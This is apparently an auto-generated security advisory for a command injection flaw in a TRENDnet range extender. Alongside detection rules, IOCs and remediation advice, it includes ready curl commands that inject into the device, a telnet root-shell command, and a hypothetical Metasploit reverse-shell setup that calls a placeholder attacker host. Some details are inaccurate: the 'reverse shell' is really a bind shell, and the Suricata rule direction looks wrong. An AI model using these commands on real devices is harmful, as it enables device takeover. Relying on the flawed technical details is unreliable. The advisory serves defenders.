CVE-2025-15471

Executive Summary

CVE-2025-15471 is a critical OS command injection vulnerability in the TRENDnet TEW-713RE wireless range extender, firmware version 1.02. The flaw resides in the /goformX/formFSrvX endpoint, where the SZCMD argument is unsanitized, allowing remote attackers to execute arbitrary system commands. The vendor has confirmed the product is End-of-Life (EOL) and will not issue a patch. Public exploit code is available, making this a high-risk vulnerability for any remaining deployed units. This vulnerability is not related to any package ecosystem (NPM, PyPI, Go, Ruby) and is a standalone hardware firmware issue.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full system compromise.
• Integrity Impact: High (I:H) – attacker can modify system files.
• Availability Impact: High (A:H) – can cause denial of service.

Threat Level: Critical. Public exploit availability and lack of patch make this a top priority for asset discovery and isolation.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the TRENDnet TEW-713RE web management interface. The /goformX/formFSrvX endpoint processes the SZCMD parameter without proper sanitization or validation. When the firmware handles this parameter, it passes the user-supplied value directly to a system shell (e.g., system() or exec()), allowing an attacker to inject arbitrary commands using shell metacharacters such as ;, |, &, or backticks.

Root Cause: The firmware's CGI binary does not filter or escape shell metacharacters in the SZCMD input. This is a classic CWE-78 (Improper Neutralization of Special Elements used in an OS Command).

Attack Flow:

1. Attacker sends a crafted HTTP POST request to http://<target>/goformX/formFSrvX with SZCMD containing a malicious command.
2. The firmware executes the injected command with the privileges of the web server (typically root).
3. Attacker gains full control of the device.

Impact: Full device compromise, ability to pivot into internal networks, exfiltrate data, or use the device as a botnet node.

Vulnerable vs. Patched Code

Vulnerable Code (TEW-713RE firmware 1.02):

// Pseudocode of the vulnerable CGI handler
void handle_formFSrvX() {
    char cmd[256];
    char *szcmd = get_param("SZCMD");
    if (szcmd) {
        snprintf(cmd, sizeof(cmd), "system %s", szcmd); // No sanitization
        system(cmd);
    }
}

Patched Code (Not available): No patch exists. A hypothetical fix would involve input validation and escaping:

void handle_formFSrvX() {
    char cmd[256];
    char *szcmd = get_param("SZCMD");
    if (szcmd) {
        // Whitelist allowed commands or escape shell metacharacters
        if (is_valid_command(szcmd)) {
            snprintf(cmd, sizeof(cmd), "system %s", szcmd);
            system(cmd);
        } else {
            log_error("Invalid command");
        }
    }
}

Since the product is EOL, no official patch will be released.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• TRENDnet TEW-713RE with firmware 1.02 on the network.
• Attacker machine with curl or netcat.

Exploit Command:

# Execute 'id' command on the target
curl -X POST http://<target_ip>/goformX/formFSrvX \
  -d "SZCMD=id"

Advanced Exploit (Reverse Shell):

# Attacker sets up listener
nc -lvnp 4444

# Target executes reverse shell
curl -X POST http://<target_ip>/goformX/formFSrvX \
  -d "SZCMD=busybox telnetd -l /bin/sh -p 4444"

Metasploit Module (if available):

# Hypothetical Metasploit module
use exploit/linux/http/trendnet_tew713re_cmd_inject
set RHOSTS <target_ip>
set PAYLOAD cmd/unix/reverse_netcat
set LHOST <attacker_ip>
run

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /goformX/formFSrvX with unusual SZCMD values.
• Look for shell metacharacters (;, |, &, `, $()) in the SZCMD parameter.
• Alert on outbound connections from the device to unknown IPs on high ports (e.g., 4444).

Honeypot Setup:

• Deploy a fake TEW-713RE web interface that logs all SZCMD values.
• Use a low-interaction honeypot like conpot or custom Python script.

Isolation:

• Segment all EOL devices into a separate VLAN with strict egress filtering.
• Block all outbound traffic from these devices except to necessary update servers (which are now defunct).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /goformX/formFSrvX with SZCMD containing shell metacharacters.
• Outbound connections from the device to IPs on ports 4444, 5555, or 31337.
• Unusual DNS queries from the device (e.g., to known C2 domains).

File System IOCs:

• Presence of /tmp/.exploit or /var/run/exploit files.
• Modified /etc/passwd or /etc/shadow with new user accounts.
• Unusual processes running as root (e.g., telnetd, nc, bash).

Log IOCs:

• Web server logs showing repeated POST requests to /goformX/formFSrvX.
• System logs with entries like sh: id: not found (if command fails) or successful command output.

Detection Engineering

YARA Rule

rule CVE_2025_15471_Exploit_Detection {
    meta:
        description = "Detects exploit attempts for CVE-2025-15471 in HTTP traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-15471"
    strings:
        $http_post = "POST /goformX/formFSrvX"
        $szcmd = "SZCMD="
        $shell_meta = /[;&|`$()]/
    condition:
        $http_post and $szcmd and #shell_meta > 0
}

Sigma Rule

title: CVE-2025-15471 OS Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to /goformX/formFSrvX with shell metacharacters in SZCMD parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /goformX/formFSrvX
        cs-uri-query|contains: SZCMD=
    keywords:
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate administrative commands (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-15471 TRENDnet TEW-713RE OS Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/goformX/formFSrvX"; http_uri;
    content:"SZCMD="; http_client_body;
    pcre:"/(?:[;&|`$()])/";
    sid:10000001;
    rev:1;
    reference:cve,2025-15471;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Identify all TRENDnet TEW-713RE devices on the network using Shodan dorks or asset inventory.
2. Isolate these devices in a separate VLAN with no internet access and strict firewall rules.
3. Block all inbound HTTP traffic to the device's management interface from untrusted networks.
4. Disable remote management if not absolutely necessary.

Long-Term Solutions:

• Replace the device with a supported, patched alternative. The TEW-713RE is EOL and will never receive a fix.
• Implement network segmentation for all IoT/EOL devices.
• Deploy a Web Application Firewall (WAF) with rules to block SZCMD parameter containing shell metacharacters.
• Monitor logs for any exploitation attempts using the provided Sigma and Suricata rules.

Vendor Communication:

• TRENDnet has acknowledged the EOL status and will not patch. Users should follow the vendor's recommendation to replace the product.

Report generated by Valters IT DevSecOps & CTI Framework
Signature: Valters IT